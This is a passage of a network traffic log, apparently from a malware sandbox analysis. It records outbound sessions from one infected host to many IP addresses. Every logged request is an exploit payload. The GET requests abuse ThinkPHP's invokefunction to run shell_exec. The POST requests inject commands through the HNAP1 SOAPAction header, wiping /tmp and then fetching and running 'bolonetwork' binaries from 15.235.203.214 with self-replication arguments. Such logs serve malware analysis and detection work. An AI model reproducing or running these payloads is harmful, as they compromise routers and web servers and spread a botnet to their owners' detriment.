xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	44258	95.241.185.124	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.048999071 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	54494	117.162.6.62	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.272500992 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	49690	95.244.33.243	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.274095058 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	38284	209.25.30.35	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.274509907 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	51954	48.169.101.121	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.283179045 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	45440	95.130.191.169	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.283427000 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	56942	63.54.135.76	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.284603119 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	35782	65.70.49.213	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.289361000 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	56208	1.70.190.239	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.295197964 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	58898	95.244.225.178	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.295197964 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	38250	95.22.148.165	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.298270941 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	60804	95.96.165.243	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.302439928 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	50800	95.18.187.147	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.307475090 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	53954	223.204.31.236	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.308801889 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	33508	51.212.187.178	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.309689999 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	46822	95.33.23.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.311687946 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	40660	95.181.116.151	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.314141989 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	36420	95.42.35.197	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.317605019 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	56040	95.182.20.151	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.319953918 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	57434	95.61.59.169	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.323446035 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	57156	95.74.67.173	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.326749086 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	43864	95.201.16.9	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.330780029 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	43402	95.68.157.52	80

Timestamp	Bytes transferred	Direction	Data
